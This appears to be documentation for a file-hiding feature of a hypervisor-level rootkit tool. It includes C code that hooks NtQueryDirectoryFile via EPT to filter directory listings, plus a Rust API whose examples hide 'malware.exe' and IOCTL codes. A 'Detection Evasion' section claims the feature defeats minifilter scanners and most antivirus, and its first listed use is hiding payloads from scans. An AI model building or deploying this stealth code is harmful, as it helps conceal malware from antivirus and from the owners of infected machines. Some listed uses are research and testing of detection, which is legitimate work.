File Hiding
Ring -1Hide files and directories from filesystem enumeration using hypervisor interception of directory query operations.
System Stability
Hiding critical system files can cause system instability or boot failures. Only hide files you have created for testing purposes.
Overview
File hiding works by intercepting NtQueryDirectoryFileand related APIs at the hypervisor level. When a directory listing is requested, the hypervisor filters the results to remove entries for hidden files.
What Gets Hidden
- • File names in directory listings (dir, Get-ChildItem, Explorer)
- • File handles when opening by name
- • FindFirstFile/FindNextFile enumeration
- • NtQueryDirectoryFileEx results
Note: Files remain accessible if the exact path is known. Hiding prevents discovery, not access.
Implementation
Algorithm
// Hide file via EPT hook on NtQueryDirectoryFile
NTSTATUS HvHideFile(PCWSTR FilePath) {
// 1. Store file path in hidden files list
AddToHiddenFilesList(FilePath);
// 2. Hook NtQueryDirectoryFile via EPT (if not already hooked)
if (!IsNtQueryDirectoryFileHooked()) {
PVOID NtQueryDirectoryFile = GetNtoskrnlExport(
"NtQueryDirectoryFile"
);
EptSetupHook(
MmGetPhysicalAddress(NtQueryDirectoryFile),
EPT_HOOK_TYPE_EXECUTE,
NtQueryDirectoryFileHandler
);
}
return STATUS_SUCCESS;
}
// Hook handler - filters directory query results
NTSTATUS NtQueryDirectoryFileHandler(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
...
) {
// 1. Call original NtQueryDirectoryFile
NTSTATUS Status = OriginalNtQueryDirectoryFile(...);
// 2. If successful, filter the results
if (NT_SUCCESS(Status)) {
PFILE_BOTH_DIR_INFORMATION Entry = FileInformation;
PFILE_BOTH_DIR_INFORMATION Prev = NULL;
while (Entry) {
// 3. Check if this file should be hidden
if (IsFileHidden(Entry->FileName, Entry->FileNameLength)) {
// 4. Unlink from results (skip this entry)
if (Prev) {
Prev->NextEntryOffset += Entry->NextEntryOffset;
} else {
// First entry - shift buffer or return STATUS_NO_MORE_FILES
}
}
Prev = Entry;
Entry = (Entry->NextEntryOffset) ?
(PVOID)((PUCHAR)Entry + Entry->NextEntryOffset) : NULL;
}
}
return Status;
}API
Usage
use callback::{hv_hide_file, hv_unhide_file, hv_list_hidden_files};
// Hide a file
hv_hide_file(r"C:\Users\Admin\malware.exe")?;
// Hide a directory
hv_hide_file(r"C:\secret_folder")?;
// Hide by pattern (wildcard)
hv_hide_file(r"C:\Temp\*.log")?;
// List all hidden files
let hidden: Vec<String> = hv_list_hidden_files()?;
// Unhide a file
hv_unhide_file(r"C:\Users\Admin\malware.exe")?;IOCTLs
| IOCTL | Code | Description |
|---|---|---|
| HV_HIDE_FILE | 0x860 | Hide file by path |
| HV_UNHIDE_FILE | 0x861 | Unhide file by path |
| HV_LIST_HIDDEN_FILES | 0x862 | List all hidden file paths |
Detection Evasion
File hiding at Ring -1 evades:
- ✓ File Explorer / dir / Get-ChildItem
- ✓ FindFirstFile/FindNextFile APIs
- ✓ NtQueryDirectoryFile (ring 0)
- ✓ Minifilter-based file scanners
- ✓ Most AV real-time scanners
Limitations
- • Direct file access by exact path still works
- • File hashes in MFT may reveal existence
- • Disk forensics can find hidden files
- • Does not hide from other hypervisors
- • Performance impact on directory enumeration
UI Access
Access via Hypervisor tab → File Hiding section:
- • Enter file/directory path to hide
- • Supports wildcard patterns
- • View and manage hidden files list
- • One-click unhide option
Use Cases
- • Hide payloads from directory scans
- • Test filesystem security monitoring
- • Research file hiding detection methods
- • Demonstrate hypervisor capabilities